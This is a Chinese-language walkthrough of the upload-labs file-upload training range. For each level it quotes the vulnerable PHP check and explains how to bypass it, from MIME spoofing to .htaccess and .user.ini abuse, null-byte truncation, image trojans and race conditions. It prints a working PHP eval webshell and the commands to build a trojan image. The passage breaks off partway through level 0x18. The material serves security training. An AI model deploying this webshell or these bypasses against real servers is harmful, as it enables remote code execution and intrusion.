upload-labs通关

0x01 前端JS验证

查看提示得知是前端 JS 白名单验证

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

绕过方式:

  1. 直接在浏览器中关闭JS,直接上传webshell
  2. 将 webshell.php 后缀修改为 jpg,然后使用 burpsuite 抓包修改后缀为 php
    在这里插入图片描述
    这里我的 webshell 是 PHP 一句话木马
<?php @eval($_POST['x']);?>

上传成功后,右键图片 - 复制图像链接,可以看到上传的路径 http://localhost/upload-labs/upload/webshell.php
访问该路径,使用 hackbar 插件执行命令
在这里插入图片描述
使用蚁剑连接(密码为x)
在这里插入图片描述

0x02 MIME验证

查看提示得知本关是对数据包的 MIME 格式进行白名单检查

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 上传 webshelll.php,然后使用 burpsuite 抓包,修改 MIME 格式为 image/jpeg 即可

0x03 黑名单验证 特殊后缀

查看提示得知本关为黑名单限制,asp|.aspx|.php|.jsp 后缀

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);//去空
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//查找 "." 在字符串中最后出现的位置,并返回从该位置到结尾的所有字符
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//不区分大小写去除::$DATA 数据流标记,替换为空
        $file_ext = trim($file_ext); //去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//使用随机数重命名文件            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 上传PHP文件的别名进行黑名单绕过,如 phtml、php3、php4、php5,但是前提是 apache 配置文件中需要有这样一句话,不然就算上传上去,服务器也不能正常解析
AddType application/x-httpd-php .php .phtml .php3 .php4 .php5

在这里插入图片描述

0x04 黑名单验证 .htaccess

查看提示得知本关也是后缀黑名单限制,包含了绝大多数脚本后缀名

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 由于代码中的后缀名截取并未通过循环方式实现,所以可以根据代码逻辑,构造特定的多个后缀名,例如 “点+空格+点” 的形式。使用burpsuite 抓包修改文件名为(webshell.php. .),经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除点
  2. 由于代码中并未限制 .htaccess 后缀类型,上传以下内容的 .htaccess 文件后会将 webshell.jpg 图片马当成PHP文件解析执行
<FilesMatch "webshell.jpg">
Sethandler application/x-httpd-php	#在当前目录下,如果匹配到webshell.jpg文件,则被解析成PHP代码执行
</FilesMatch>

关于 .htaccess 解析漏洞

1.原理
.htaccess文件(或者"分布式配置文件") ,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

2.利用方式
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。

3.注意
启用 .htaccess,需要修改 httpd.conf,启用 AllowOverride,并可以用 AllowOverride 限制特定命令的使用。
如果需要使用 .htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。
例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config。
它里面有这样一段代码:AllowOverride None,如果我们把 None 改成 All

在这里插入图片描述

0x05 黑名单验证 .user.ini.

查看提示得知,该关卡在上一关的基础上,进一步限制了.htaccess后缀文件

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 照样可以根据后缀名处理逻辑,构造 "点+空格+点” 绕过,经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除了点
  2. 未限制 .ini 后缀,可使用 .user.ini 绕过

关于 .user.ini

1.
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

2.
user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)

触发 .user.ini 解析漏洞的三个前提条件

1.服务器脚本语言为PHP  

2.服务器使用CGI/FastCGI模式  

3.上传目录下要有可执行的php文件

创建 .user.ini 文件,意思是所有的 PHP 文件都自动包含图片马 webshell.jpg,即 readme.php 也会包含
.user.ini 相当于一个用户自定义的 php.ini 配置文件
在这里插入图片描述
上传 .user.ini 和图片马 webshell.jpg 后,需要等待300秒(user_ini.cache_ttl 默认值),不想等可以直接修改PHP配置文件
由于自动包含 webshell.jpg,所以我们访问 readme.php路径,使用 hackbar 执行命令
在这里插入图片描述
使用蚁剑进行连接 readme.php
在这里插入图片描述

0x06 黑名单验证 大小写绕过

查看源码,对比上一关发现少了将后缀名转换为小写的步骤
将文件名改为 webshell.Php 上传即可绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

0x07 黑名单验证 空格绕过

查看源码,发现少了去除空格的步骤

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }

绕过方式:

  1. 使用 burpsuite 抓包,在后缀名后面加上一个空格即可绕过(前提是对方服务器是 Windows)

原理:
由于加上空格,所以绕过了黑名单限制
上传到服务器的时候,Windows 会自动将后缀中的空格去除,所以最后保存到服务器上的后缀中没有空格

0x08 黑名单验证 点绕过

查看源码,发现少了删除文件名末尾的点的步骤

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 类似上一关,使用 burpsuite 抓包,在后缀名后面加上一个点即可绕过(前提是对方服务器是 Windows)

原理:
由于加上了点,所以绕过了黑名单限制
上传到服务器的时候,Windows 会自动将后缀中的点去除,所以最后保存到服务器上的后缀中没有点

0x09 黑名单验证 ::$DATA绕过

查看源码,发现少了去除::$DATA 数据流标记的步骤

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 使用 burpsuite 抓包,在文件名后面加上 ::$DATA 即可绕过

原理:
Windows下的PHP会把:: D A T A 之后的数据当成文件流处理,不会检测后缀名,且保持 " : : DATA之后的数据当成文件流处理,不会检测后缀名,且保持":: DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::DATA"之前的文件名
在这里插入图片描述

0x10 黑名单验证 "点+空格+点"绕过

查看源码,发现虽然没有缺失的步骤,但对后缀名的处理还是和之前一样只有一次,并非循环处理

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 根据后缀名处理逻辑,构造 "点+空格+点” 绕过,经过处理在检测时文件名为(webshell.php.),绕过检测上传后 Windows 自动去除了点

0x11 黑名单验证 双写绕过

查看源码,本关使用 str_ireplace() 函数将文件名中匹配黑名单后缀的字符替换为空,且不区分大小写

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过方式:

  1. 由于只进行了一次处理,所以可以双写绕过,如 webshell.pphphp

0x12 GET %00截断

查看提示,得知上传路径 save_path 可以控制
查看源码,发现是白名单验证,且 save_path 以 GET 方式提交
这里若使用 00 截断,那么 $img_path 的值就等于 $_GET[‘save_path’],后面的全被截断
而 save_path 是可控的,由此一来便可以绕过

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
1.绕过方式:使用 00 截断

2.使用 00 截断的"前提":
	PHP 版本 < 5.3.4,我使用的是 5.2.17
	魔术引号关闭 magic_quotes_gpc = Off
	
3.00 截断的"原理":
PHP 的一些函数的底层是 C语言,而 move_uploaded_file 就是其中之一,其遇到 0x00 会截断,0x表示16进制,URL中 %00 解码成16进制就是 0x00

这里若使用 00 截断,那么 **$img_path 的值就等于 $_GET['save_path']**,后面的全被截断,而 save_path 是可控的,由此一来便可以绕过

4.关于 %00 和 0x00
GET 方式提交的数据会自动 URL 解码,%00 解码后就成为 0x00,所以 GET 我们使用 %00 截断
POST 方式提交的数据不会 URL 解码,所以 POST 我们使用 0x00 截断

由于 save_path 以 GET 方式提交,而 GET 方式提交的数据会自动 URL 解码,%00 解码后就是16进制 0x00,
所以直接使用 burpsuite 抓包,在 save_path=…/upload/ 后面写上 xxx.php%00,同时修改文件名为 webshell.jpg 通过后缀检测
在这里插入图片描述
成功上传后,复制图片链接访问,注意:把下面选中的删除后访问
在这里插入图片描述
使用 hackbar 插件执行代码 phpinfo();
在这里插入图片描述
使用蚁剑进行连接,连接的地址也要把上述选中的去掉
在这里插入图片描述

0x13 POST 0x00截断

查看提示,和上一关一样,也是上传路径可控
查看源码,不一样的是 save_path 以 PSOT 方式提交

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

绕过方式类似,使用 0x00 截断,但由于 save_path 以 POST 方式提交,而 POST 方式提交的数据不会 URL 解码
所以需要使用 burpsuite 抓包以16进制方式改包,先在 save_path=…/upload/ 后面写上 xxx.php+,
写 + 号的目的是好找到位置,因为加号的16进制表示是 0x2b,然后以16进制修改 0x2b 为 0x00,发包即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x14 unpack 图片马

查看提示,本关检查图片内容开头2个字节
查看源码,自定义函数 getReailFileType 通过检查文件头得到文件类型,然后根据文件类型重命名上传文件
本关提供了文件包含漏洞,用于以PHP形式解析图片马

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

常见图片格式文件头

1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A 即为 .PNG
2.Jpg图片文件包括2字节:FF D8
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 即为 GIF89(7)a
4.Bmp图片文件包括2字节:42 4D 即为 BM

图片马制作方法

  1. 使用 notepad ++ 打开一个图片,写入一句话木马
  2. 在 cmd 里使用一张图片和一个木马文件制作图片马
copy 1.jpg/b + 1.php webshell.jpg

绕过方式:上传图片马,结合文件包含漏洞以PHP形式解析图片马

本关文件包含的页面代码如下:

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

在文件包含页面URL栏传入参数 file 的值,为图片马的地址
在这里插入图片描述
使用 hackbar 插件执行命令 phpinfo();
在这里插入图片描述

0x15 getimagesize 图片马

查看提示,本关是使用 getimagesize() 函数检查是否为图片文件,同样有可利用的文件包含漏洞页面
该函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
上一关的绕过方法也适用于这关,不再赘述

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

0x16 exif_imagetype 图片马

查看提示,本关是使用 exif_imagetype() 函数检查是否为图片文件,同样有可利用的文件包含漏洞页面
该函数用于读取图像的第一个字节并检查其后缀名,速度比getimage快得多(需要开启 php_exif 模块)
上一关的绕过方法也适用于这关,不再赘述
在这里插入图片描述

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

0x17 二次渲染绕过

查看提示,得知本关会对图片进行二次渲染
查看源码,使用 imagecreatefromgif() 函数判断是否为 gif 图片,并进行二次渲染

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

关于二次渲染的知识点

1.二次渲染的"原理"
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新
处理完成后,"根据我们原有的图片生成一个新的图片"并放到网站对应的标签进行显示

2.如何"绕过"二次渲染?
将一句话木马插入到网站二次处理后的图片中(也就是把一句话木马插入到二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉)
可以先上传正常图片,然后把经过二次渲染后图片和原来的图片用 notepad++ 打开,进行比对,看哪部分数据在二次渲染时不会被丢失,就在那里插入一句话木马
制作好图片马后,再配合文件包含漏洞进行利用

点击下载 — 一个可以绕过二次渲染的 gif

上传该可绕过二次渲染的图片马,复制经过二次渲染后的图片链接
在这里插入图片描述
利用文件包含漏洞,以PHP形式解析图片马,并使用 hackbar 执行命令 phpinfo();
在这里插入图片描述

0x18 条件竞争1

分析源码

1.服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名
	如果不符合的话,unlink()函数就会删除该文件
2.但其实这样是有问题的,因为源码中的上传操作放在了检查后缀名之前,正常应该是检查在上传之前
	由于代码执行也需要时间,如果我们不停的访问所上传的 webshell.php,正好在上传操作和删除操作执行的间隔内访问到
	那么就存在一个资源占用的问题,由于我们正在占用该资源,所以造成了服务器 ulink 函数删除失败
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

绕过流程
为了效果更好,将一句话木马换为以下内容,当我们访问到 webshell.php 时,会执行里面的代码
我这里写的意思是在当前目录创建一个名为 1.php 的一句话木马
也就是说 webshell.php 本身不是木马,而是用于生成一句话木马 1.php 的

